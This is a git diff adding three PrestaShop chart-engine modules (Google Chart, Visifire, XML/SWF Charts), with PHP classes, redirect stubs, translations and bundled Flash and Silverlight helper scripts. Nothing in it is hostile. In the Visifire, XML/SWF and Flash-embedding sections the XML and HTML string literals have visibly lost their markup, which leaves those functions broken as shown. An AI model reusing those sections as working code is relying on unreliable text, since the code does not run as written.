sizeof($this->_values); + else + $sizeof_values = sizeof($this->_values[0]); + $url = 'bvs&chxt=x,y&chxr=1,0,'.$max_y.'&chbh='.$this->getChbh($sizeof_values).'&chg=0,12.5&chxl=0:|'; + for ($i = 0; $i < $sizeof_values; $i++) + if (!isset($this->_values[0]) || !is_array($this->_values[0])) + { + if (isset($this->_values[$i])) + $this->_values[$i] = ($this->_values[$i] * 100) / $max_y; + else + $this->_values[$i] = 0; + } + else + foreach ($this->_values as $k => $value) + { + if (!isset($this->_values[$k][$i])) + $this->_values[$k][$i] = 0; + $this->_values[$k][$i] = ($this->_values[$k][$i] * 100) / $max_y; + } + return ($url); + } + + private function drawLine($max_y) + { + return ('lc'./*&chxt=x,y*/'&chbh='.$this->getChbh(sizeof($this->_values)).'&chg=0,12.5&chxl=0:|'); + } + + private function drawPie() + { + return ('p3&chl='); + } + + public function draw() + { + $url = 'http://chart.apis.google.com/chart?cht='; + $legend = ''; + $values = ''; + $scale = ''; + + switch ($this->_type) + { + case 'pie': + $url .= $this->drawPie(); + break; + case 'line': + $url .= $this->drawLine($this->getYMax($this->_values)); + case 'column': + default: + $url .= $this->drawColumn($this->getYMax($this->_values)); + break; + } + + foreach ($this->_legend as $label) + $legend .= $label.'|'; + $url .= htmlentities(urlencode(html_entity_decode(rtrim($legend, '|')))); + + if (!isset($this->_values[0]) || !is_array($this->_values[0])) + { + foreach ($this->_values as $label) + $values .= ($label ? $label : '0').','; + $url .= '&chd=t:'.urlencode(rtrim($values, ',')); + } + else + { + $i = 0; + $url .= '&chd=t:'; + foreach ($this->_values as $val) + { + $values = ''; + if ($i++ > 0) + $url .= '|'; + foreach ($val as $label) + $values .= ($label ? $label : '0').','; + $url .= urlencode(rtrim($values, ',')); + } + } + + $url .= '&chs='.(int)($this->_width).'x'.(int)($this->_height); + if (!isset($this->_values[0]) || !is_array($this->_values[0])) + $url .= (isset($this->_titles['main'])) ? '&chtt='.urlencode($this->_titles['main']) : ''; + else + { + $url .= $this->getStringColor(sizeof($this->_values)); + $i = 0; + foreach ($this->_titles['main'] as $val) + { + if ($i == 0 && !empty($this->_titles['main'])) + $url .= '&chtt='.urlencode($this->_titles['main'][$i]); + else if ($i == 1) + $url .= '&chdl='; + else if ($i > 1) + $url .= '|'; + if ($i != 0) + $url .= urlencode($this->_titles['main'][$i]); + $i++; + } + } + header("Content-type: image/png"); + readfile($url); + } + + private function getYMax($values) + { + $max = 0; + if (!isset($this->_values[0]) || !is_array($this->_values[0])) + { + foreach ($values as $k => $val) + if ($val > $max) + $max = $val; + } + else + { + foreach ($values as $value) + foreach ($value as $val) + if ($val > $max) + $max = $val; + } + return ($max < 4) ? 4 : (round($max, 0)); + } + + private function getStringColor($nb_colors) + { + $tabColors = array('ffb649', '427fc3', 'ff0000', '55a339', 'ff2398'); + $color = ''; + if ($nb_colors > 1) + { + $color = '&chco='; + for ($i = 0; $i < $nb_colors; $i++) + { + if ($i > 0) + $color .= ','; + $color .= $tabColors[$i % 5]; + } + } + return $color; + } +} + + diff --git a/modules/graphgooglechart/index.php b/modules/graphgooglechart/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphgooglechart/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphgooglechart/logo.gif b/modules/graphgooglechart/logo.gif new file mode 100755 index 0000000..4f5d645 Binary files /dev/null and b/modules/graphgooglechart/logo.gif differ diff --git a/modules/graphgooglechart/logo.png b/modules/graphgooglechart/logo.png new file mode 100755 index 0000000..6d14c72 Binary files /dev/null and b/modules/graphgooglechart/logo.png differ diff --git a/modules/graphgooglechart/translations/en.php b/modules/graphgooglechart/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/graphgooglechart/translations/fr.php b/modules/graphgooglechart/translations/fr.php new file mode 100755 index 0000000..5703149 --- /dev/null +++ b/modules/graphgooglechart/translations/fr.php @@ -0,0 +1,7 @@ +graphgooglechart_b3b8abce7e542a30dc415f612d4e0f23'] = 'Google Chart'; +$_MODULE['<{graphgooglechart}prestashop>graphgooglechart_e01118a336bd13f2f0e70bf7178c1fdc'] = 'L\'API Google Chart permet de générer dynamiquement des graphiques.'; diff --git a/modules/graphgooglechart/translations/index.php b/modules/graphgooglechart/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphgooglechart/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphvisifire/graphvisifire.php b/modules/graphvisifire/graphvisifire.php new file mode 100755 index 0000000..c6fcb45 --- /dev/null +++ b/modules/graphvisifire/graphvisifire.php @@ -0,0 +1,186 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class GraphVisifire extends ModuleGraphEngine +{ + private $_xml; + private $_values = NULL; + private $_legend = NULL; + private $_titles = NULL; + + function __construct($type = null) + { + if ($type != null) + { + $this->_xml = '_xml .= ' Theme="Theme1" View3D="True"'; + else + $this->_xml .= ' Theme="Theme2" ColorSet="Visifire2" UniqueColors="True"'; + $this->_xml .= '>'; + parent::__construct($type); + } + else + { + $this->name = 'graphvisifire'; + $this->tab = 'administration'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + Module::__construct(); + + $this->displayName = $this->l('Visifire'); + $this->description = $this->l('Visifire is a set of open-source data visualization components -- Powered by Microsoft Silverlight 2 (beta 2).'); + } + } + + function install() + { + return (parent::install() AND $this->registerHook('GraphEngine')); + } + + public static function hookGraphEngine($params, $drawer) + { + static $divid = 1; + return ' +
        + +
        '; + } + + public function createValues($values) + { + $this->_values = array(); + if (!is_array($values[array_rand($values)])) + foreach ($values as $value) + $this->_values[] = $value; + else + { + foreach ($values as $i => $layerValue) + { + $this->_values[$i] = array(); + foreach ($layerValue as $value) + $this->_values[$i][] = $value; + } + } + } + + public function setSize($width, $height) + { + // Unavailable + } + + public function setLegend($legend) + { + $this->_legend = array(); + if (!is_array($legend[array_rand($legend)])) + foreach ($legend as $label) + $this->_legend[] = $label; + else + { + foreach ($legend as $i => $layerlabel) + { + $this->_legend[$i] = array(); + foreach ($layerlabel as $label) + $this->_legend[$i][] = $label; + } + } + } + + public function setTitles($titles) + { + $this->_titles = $titles; + if (isset($titles['main']) && !is_array($titles['main'])) + $this->_xml .= ''; + if (is_array($titles['main']) && isset($titles['main'][0])) + $this->_xml .= ''; + if (isset($titles['x'])) + $this->_xml .= ''; + if (isset($titles['y'])) + $this->_xml .= ''; + } + + public function draw() + { + header('content-type: text/xml'); + if ($this->_values != NULL && $this->_legend != NULL) + { + if (!isset($this->_values[0]) || !is_array($this->_values[0])) + $size = sizeof($this->_values); + else + $size = sizeof($this->_values[0]); + if ($size == sizeof($this->_legend)) + { + if (!is_array($this->_values[array_rand($this->_values)])) + { + $this->_xml .= ''; + for ($i = 0; $i < $size; $i++) + { + $this->_xml .= '_xml .= 'AxisLabel=" '.str_replace('<', '<', str_replace('>', '>', str_replace('&', '&', str_replace('"', "'", $this->_legend[$i])))).'" '; + $this->_xml .= 'YValue="'.$this->_values[$i].'"'; + if ($this->_type == 'pie') + $this->_xml .= ' ExplodeOffset="0.2"'; + $this->_xml .= '/>'; + } + $this->_xml .= ''; + } + else + { + foreach ($this->_values as $layer => $values) + { + $this->_xml .= ''; + foreach ($values as $i => $value) + { + $this->_xml .= '_xml .= 'AxisLabel=" '.str_replace('<', '<', str_replace('>', '>', str_replace('&', '&', str_replace('"', "'", $this->_legend[$i])))).'" '; + $this->_xml .= 'YValue="'.$value.'"'; + if ($this->_type == 'pie') + $this->_xml .= ' ExplodeOffset="0.2"'; + $this->_xml .= '/>'; + } + $this->_xml .= ''; + } + } + } + } + $this->_xml .= '
        '; + echo $this->_xml; + exit(1); + } +} + + diff --git a/modules/graphvisifire/index.php b/modules/graphvisifire/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphvisifire/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphvisifire/logo.gif b/modules/graphvisifire/logo.gif new file mode 100755 index 0000000..df365f2 Binary files /dev/null and b/modules/graphvisifire/logo.gif differ diff --git a/modules/graphvisifire/logo.png b/modules/graphvisifire/logo.png new file mode 100755 index 0000000..3bdcda8 Binary files /dev/null and b/modules/graphvisifire/logo.png differ diff --git a/modules/graphvisifire/translations/en.php b/modules/graphvisifire/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/graphvisifire/translations/fr.php b/modules/graphvisifire/translations/fr.php new file mode 100755 index 0000000..148e420 --- /dev/null +++ b/modules/graphvisifire/translations/fr.php @@ -0,0 +1,7 @@ +graphvisifire_46495d329b07c973daa82a7a9c084d6b'] = 'Visifire'; +$_MODULE['<{graphvisifire}prestashop>graphvisifire_8fb4e2a61c48721ee73f9b9189fd19e1'] = 'Visifire est un pack de composants open-source permettant de visualiser graphiquement des données. Il utilise la technologie Microsoft Silverlight 2 beta 2.'; diff --git a/modules/graphvisifire/translations/index.php b/modules/graphvisifire/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphvisifire/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphvisifire/visifire/Visifire.js b/modules/graphvisifire/visifire/Visifire.js new file mode 100755 index 0000000..6cf9d76 --- /dev/null +++ b/modules/graphvisifire/visifire/Visifire.js @@ -0,0 +1,353 @@ +/* + Copyright (C) 2008 Webyog Softworks Private Limited + + This file is a part of Visifire Charts. + + Visifire is a free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + You should have received a copy of the GNU General Public License + along with Visifire Charts. If not, see . + + If GPL is not suitable for your products or company, Webyog provides Visifire + under a flexible commercial license designed to meet your specific usage and + distribution requirements. If you have already obtained a commercial license + from Webyog, you can use this file under those license terms. +*/ + +if(!window.Visifire) +{ + // Visifire class + window.Visifire = function(pXapPath, pId, pWidth, pHeight, pBackground) + { + this.id = null; + this.logLevel = 1; // Determines whether to log or not. + this.xapPath = "Visifire.xap"; // Default is taken as Visifire.xap in the same directory. + this.targetElement = null; + this.dataXml = null; + this.dataUri = null; + this.listeners = null; + this.elements = new Array("Chart", "DataPoint", "Title", "AxisX", "AxisY", "Legend"); + this.events = new Array("MouseLeftButtonDown", "MouseLeftButtonUp", "MouseMove", "MouseEnter", "MouseLeave"); + this.windowless = false; + this.width = null; + this.height = null; + this.background = null; + + // pId not present + if(Number(pId)) + { + if(pHeight) + this.background = pHeight; + + pHeight = pWidth; + pWidth = pId; + } + else // pId present + { + this.id = pId; + + if(pBackground) + this.background = pBackground; + } + + if(pXapPath) + this.xapPath = pXapPath; + + if(pWidth) + this.width = pWidth; + + if(pHeight) + this.height = pHeight; + + this._uThisObject = this; + + this.index = ++Visifire._slCount; + } + + window.Visifire._slCount = 0; + + Visifire.prototype.setWindowlessState = function(pWindowless) + { + if(pWindowless != null) + { + this.windowless = Boolean(pWindowless); + } + } + + Visifire.prototype._getSlControl = function () + { + var _uThisObject = this; + if(_uThisObject.id != null) + { + var slControl = document.getElementById(_uThisObject.id); + return slControl; + } + + return null; + } + + Visifire.prototype.isLoaded = function() + { + var slControl = this._getSlControl(); + try + { + if(slControl.Content.wrapper != null) + return true; + } + catch(ex) + { + return false; + } + } + Visifire.prototype.isDataLoaded = function() + { + var slControl = this._getSlControl(); + + return slControl.Content.wrapper.IsDataLoaded; + } + Visifire.prototype.setSize = function(pWidth,pHeight) + { + var slControl = this._getSlControl(); + if(slControl != null) + { + slControl.width = pWidth; + slControl.height = pHeight; + slControl.Content.wrapper.Resize(pWidth,pHeight); + } + else + { + this.width = pWidth; + this.height = pHeight; + } + } + + Visifire.prototype.setDataXml = function(pDataXml) + { + var slControl = this._getSlControl(); + + if(slControl != null && this.dataXml != null) + { + slControl.Content.wrapper.AddDataXML(pDataXml); + } + + this.dataXml = pDataXml; + } + + + Visifire.prototype.setDataUri = function(pDataUri) + { + var slControl = this._getSlControl(); + + if(slControl != null && this.dataUri != null) + { + slControl.Content.wrapper.AddDataUri(pDataUri); + } + + this.dataUri = pDataUri; + } + + Visifire.prototype.setLogLevel = function(level) + { + if(level != null) + { + this.logLevel = level; + } + } + + Visifire.prototype._isString = function() + { + if (typeof arguments[0] == 'string') return true; + + if (typeof arguments[0] == 'object') + { + var criterion = arguments[0].constructor.toString().match(/string/i); + return (criterion != null); + } + + return false; + } + + Visifire.prototype._validateChartElement = function(pElement) + { + if(this.logLevel != 0) + { + for(var i = 0; i < this.elements.length; i++) + if(this.elements[i] == pElement) + return; + + alert('Error occurred while attaching event.\nUnknown element "' + pElement + '".'); + } + } + + Visifire.prototype._validateEvent = function(pEvent) + { + if(this.logLevel != 0) + { + for(var i = 0; i < this.events.length; i++) + if(this.events[i] == pEvent) + return; + + alert('Error occurred while attaching event.\nUnsupported event type "' + pEvent + '".'); + } + } + + Visifire.prototype.attachEvent = function(pElement, pEvent, pCallBack) + { + var _uThisObject = this; + + _uThisObject._validateChartElement(pElement); + _uThisObject._validateEvent(pEvent); + + if(pEvent && pElement && pCallBack) + { + if(_uThisObject.listeners == null) + _uThisObject.listeners = {}; + + if(_uThisObject.listeners[pEvent] == null) + _uThisObject.listeners[pEvent] = new Array(); + + if(!window["dispatchEvent" + _uThisObject.index]) + window["dispatchEvent" + _uThisObject.index] = function(args) + { + if(_uThisObject.listeners[args.Event] != null) + { + var listener = _uThisObject.listeners[args.Event]; + if(listener.length != 0) + { + for (var i = 0; i < listener.length; i++) + { + if ((listener[i].event == args.Event) && (listener[i].element == args.Element)) + { + args.ControlId = _uThisObject.id; + + if(_uThisObject._isString(listener[i].fire)) + eval(listener[i].fire + "(args)"); + else + listener[i].fire(args); + } + } + } + } + }; + + _uThisObject.listeners[pEvent].push({element: pElement, event: pEvent, fire: pCallBack}); + } + } + + Visifire.prototype._render = function(pTargetElement) + { + var _uThisObject = this; + var width; + var height; + + _uThisObject.targerElement = (typeof(pTargetElement) == "string")?document.getElementById(pTargetElement):pTargetElement; + + if(_uThisObject.width != null) + width = _uThisObject.width; + else if(_uThisObject.targerElement.offsetWidth != 0) + width = _uThisObject.targerElement.offsetWidth; + else + width = 500; + + if(_uThisObject.height != null) + height = _uThisObject.height; + else if(_uThisObject.targerElement.offsetHeight != 0) + height = _uThisObject.targerElement.offsetHeight; + else + height = 300; + + if(!_uThisObject.id) + { + _uThisObject.id = 'VisifireControl' + _uThisObject.index; + } + + var html = ''; + + html += '' + + '' + + ''; + html += '"; + html += '' + + '' + + '' + + '' + + 'Get Microsoft Silverlight' + + '
        You need Microsoft Silverlight to view Visifire Charts.' + + '
        You can install it by clicking on this link.' + + '
        Please restart the browser after installation.' + + '
        ' + + '
        '; + + this.targerElement.innerHTML = html; + } + + Visifire.prototype._reRender = function(pSlControl) + { + pSlControl.Content.wrapper.ReRenderChart(); + } + + Visifire.prototype.render = function(pTargetElement) + { + var slControl = this._getSlControl(); + + if(slControl == null) + { + this._render(pTargetElement); + } + else + { + this._reRender(slControl); + } + } +} \ No newline at end of file diff --git a/modules/graphvisifire/visifire/Visifire.xap b/modules/graphvisifire/visifire/Visifire.xap new file mode 100755 index 0000000..5896c90 Binary files /dev/null and b/modules/graphvisifire/visifire/Visifire.xap differ diff --git a/modules/graphvisifire/visifire/index.php b/modules/graphvisifire/visifire/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphvisifire/visifire/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphxmlswfcharts/graphxmlswfcharts.php b/modules/graphxmlswfcharts/graphxmlswfcharts.php new file mode 100755 index 0000000..72e75bb --- /dev/null +++ b/modules/graphxmlswfcharts/graphxmlswfcharts.php @@ -0,0 +1,258 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Statistics + * @category stats + * + * @author PrestaShop + * @copyright PrestaShop + * @license http://www.opensource.org/licenses/afl-3.0.php Open-source licence 3.0 + * @version 1.4 + */ + +if (!defined('_PS_VERSION_')) + exit; + +class GraphXmlSwfCharts extends ModuleGraphEngine +{ + private $_xml; + private $_values = NULL; + private $_legend = NULL; + private $_legend_more = ''; + private $_titles = ''; + + function __construct($type = null) + { + if ($type != null) + { + $this->_xml = ''; + parent::__construct($type); + } + else + { + $this->name = 'graphxmlswfcharts'; + $this->tab = 'administration'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + Module::__construct(); + + $this->displayName = $this->l('XML/SWF Charts'); + $this->description = $this->l('XML/SWF Charts are simple, yet powerful tools using Adobe Flash to create attractive web charts and graphs from dynamic data.'); + } + } + + function install() + { + return (parent::install() AND $this->registerHook('GraphEngine')); + } + + public static function hookGraphEngine($params, $drawer) + { + return ' + + + + + + '; + } + + private function drawColumn() + { + $this->_xml .= ' + + + + + + '; + } + + private function drawLine() + { + $this->drawColumn(); + $this->_xml .= 'A3B6DAC3413C5A6C83CA9A515B775155AA26FF2398427FC3 + '; + } + + private function drawPie($counter) + { + $this->_xml .= ' + + + 427FC3 + C3413C + 5A6C83 + CA9A51 + 5B7751 + 55AA26 + FF2398 + + '; + for ($i = 0; $i < $counter; $i++) + $this->_xml .= '9'; + $this->_xml .= ''; + $this->_legend_more = ' bullet="circle"'; + } + + public function createValues($values) + { + $this->_values = $values; + $this->_xml .= ''.$this->_type.''; + + switch ($this->_type) + { + case 'pie': + $this->drawPie(sizeof($values)); + break; + case 'line': + $this->drawLine(); + break; + case 'column': + default: + $this->drawColumn(); + $this->_xml .= 'A3B6DAC3413C5A6C83CA9A515B775155AA26FF2398427FC3'; + break; + } + } + + public function setSize($width, $height) + { + if (isset($width) && !empty($width)) + $this->_width = $width; + else + $this->_width = 550; + if (isset($height) && !empty($height)) + $this->_height = $height; + else + $this->_height = 270; + } + + public function setLegend($legend) + { + $this->_legend = $legend; + $this->_xml .= '_legend_more.' layout="horizontal" font="arial" bold="true" size="13" color="000000" alpha="85" shadow="low" transition="dissolve" delay="0.5" duration="0.25" fill_color="D4D4D4" fill_alpha="0" line_color="D4D4D4" line_alpha="0" line_thickness="0" />'; + } + + public function setTitles($titles) + { + $this->_titles = $titles; + $this->_xml .= ''; + if (isset($titles['main'])) + { + if ($this->_type == 'pie') + $this->_xml .= ''.$titles['main'].''; + } + if ($this->_type != 'pie' AND isset($titles['x']) AND isset($titles['y'])) + { + $this->_xml .= ''.$titles['x'].''; + $this->_xml .= ''.$titles['y'].''; + } + $this->_xml .= ''; + } + + public function draw() + { + header('content-type: text/xml'); + + $this->_xml .= ''; + foreach ($this->_legend as $value) + $this->_xml .= ''.$value.''; + $this->_xml .= ''; + + if (!isset($this->_values[0]) || !is_array($this->_values[0])) + { + $this->_xml .= ''.$this->_titles['main'].''; + foreach ($this->_values as $value) + $this->_xml .= ''. (($value > 0) ? $value : -$value) .''; //si jamais la valeur est n�gative... logiquement ne devrait jamais arriver + $this->_xml .= ''; + } + else + { + $i = 1; + foreach ($this->_values as $value) + { + $this->_xml .= ''; + if (isset($this->_titles['main'][$i])) + $this->_xml .= ''.$this->_titles['main'][$i].''; + foreach ($value as $val) + $this->_xml .= ''.$val.''; + $this->_xml .= ''; + $i++; + } + } + $this->_xml .= ''; + $this->_xml .= ''; + echo $this->_xml; + } +} diff --git a/modules/graphxmlswfcharts/index.php b/modules/graphxmlswfcharts/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphxmlswfcharts/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphxmlswfcharts/logo.gif b/modules/graphxmlswfcharts/logo.gif new file mode 100755 index 0000000..98919ed Binary files /dev/null and b/modules/graphxmlswfcharts/logo.gif differ diff --git a/modules/graphxmlswfcharts/logo.png b/modules/graphxmlswfcharts/logo.png new file mode 100755 index 0000000..c02f04f Binary files /dev/null and b/modules/graphxmlswfcharts/logo.png differ diff --git a/modules/graphxmlswfcharts/translations/en.php b/modules/graphxmlswfcharts/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/graphxmlswfcharts/translations/fr.php b/modules/graphxmlswfcharts/translations/fr.php new file mode 100755 index 0000000..1287c5a --- /dev/null +++ b/modules/graphxmlswfcharts/translations/fr.php @@ -0,0 +1,7 @@ +graphxmlswfcharts_fd1d6df8df2837bc1690e3ca9d84f502'] = 'XML/SWF Charts'; +$_MODULE['<{graphxmlswfcharts}prestashop>graphxmlswfcharts_723f92861aa774c9d255e0b8c42c29e8'] = 'XML/SWF Charts est un outil simple mais puissant utilisant Adobe Flash pour créer des graphiques à partir de données dynamiques.'; diff --git a/modules/graphxmlswfcharts/translations/index.php b/modules/graphxmlswfcharts/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphxmlswfcharts/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphxmlswfcharts/xml_swf_charts/AC_RunActiveContent.js b/modules/graphxmlswfcharts/xml_swf_charts/AC_RunActiveContent.js new file mode 100755 index 0000000..39c294b --- /dev/null +++ b/modules/graphxmlswfcharts/xml_swf_charts/AC_RunActiveContent.js @@ -0,0 +1,292 @@ +//v1.7 +// Flash Player Version Detection +// Detect Client Browser type +// Copyright 2005-2007 Adobe Systems Incorporated. All rights reserved. +var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false; +var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; +var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false; + +function ControlVersion() +{ + var version; + var axo; + var e; + + // NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry + + try { + // version will be set for 7.X or greater players + axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7"); + version = axo.GetVariable("$version"); + } catch (e) { + } + + if (!version) + { + try { + // version will be set for 6.X players only + axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"); + + // installed player is some revision of 6.0 + // GetVariable("$version") crashes for versions 6.0.22 through 6.0.29, + // so we have to be careful. + + // default to the first public version + version = "WIN 6,0,21,0"; + + // throws if AllowScripAccess does not exist (introduced in 6.0r47) + axo.AllowScriptAccess = "always"; + + // safe to call for 6.0r47 or greater + version = axo.GetVariable("$version"); + + } catch (e) { + } + } + + if (!version) + { + try { + // version will be set for 4.X or 5.X player + axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3"); + version = axo.GetVariable("$version"); + } catch (e) { + } + } + + if (!version) + { + try { + // version will be set for 3.X player + axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3"); + version = "WIN 3,0,18,0"; + } catch (e) { + } + } + + if (!version) + { + try { + // version will be set for 2.X player + axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"); + version = "WIN 2,0,0,11"; + } catch (e) { + version = -1; + } + } + + return version; +} + +// JavaScript helper required to detect Flash Player PlugIn version information +function GetSwfVer(){ + // NS/Opera version >= 3 check for Flash plugin in plugin array + var flashVer = -1; + + if (navigator.plugins != null && navigator.plugins.length > 0) { + if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) { + var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : ""; + var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description; + var descArray = flashDescription.split(" "); + var tempArrayMajor = descArray[2].split("."); + var versionMajor = tempArrayMajor[0]; + var versionMinor = tempArrayMajor[1]; + var versionRevision = descArray[3]; + if (versionRevision == "") { + versionRevision = descArray[4]; + } + if (versionRevision[0] == "d") { + versionRevision = versionRevision.substring(1); + } else if (versionRevision[0] == "r") { + versionRevision = versionRevision.substring(1); + if (versionRevision.indexOf("d") > 0) { + versionRevision = versionRevision.substring(0, versionRevision.indexOf("d")); + } + } + var flashVer = versionMajor + "." + versionMinor + "." + versionRevision; + } + } + // MSN/WebTV 2.6 supports Flash 4 + else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4; + // WebTV 2.5 supports Flash 3 + else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3; + // older WebTV supports Flash 2 + else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2; + else if ( isIE && isWin && !isOpera ) { + flashVer = ControlVersion(); + } + return flashVer; +} + +// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available +function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision) +{ + versionStr = GetSwfVer(); + if (versionStr == -1 ) { + return false; + } else if (versionStr != 0) { + if(isIE && isWin && !isOpera) { + // Given "WIN 2,0,0,11" + tempArray = versionStr.split(" "); // ["WIN", "2,0,0,11"] + tempString = tempArray[1]; // "2,0,0,11" + versionArray = tempString.split(","); // ['2', '0', '0', '11'] + } else { + versionArray = versionStr.split("."); + } + var versionMajor = versionArray[0]; + var versionMinor = versionArray[1]; + var versionRevision = versionArray[2]; + + // is the major.revision >= requested major.revision AND the minor version >= requested minor + if (versionMajor > parseFloat(reqMajorVer)) { + return true; + } else if (versionMajor == parseFloat(reqMajorVer)) { + if (versionMinor > parseFloat(reqMinorVer)) + return true; + else if (versionMinor == parseFloat(reqMinorVer)) { + if (versionRevision >= parseFloat(reqRevision)) + return true; + } + } + return false; + } +} + +function AC_AddExtension(src, ext) +{ + if (src.indexOf('?') != -1) + return src.replace(/\?/, ext+'?'); + else + return src + ext; +} + +function AC_Generateobj(objAttrs, params, embedAttrs) +{ + var str = ''; + if (isIE && isWin && !isOpera) + { + str += ' '; + } + str += ''; + } + else + { + str += ' +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphxmlswfcharts/xml_swf_charts/charts_library/lnno.swf 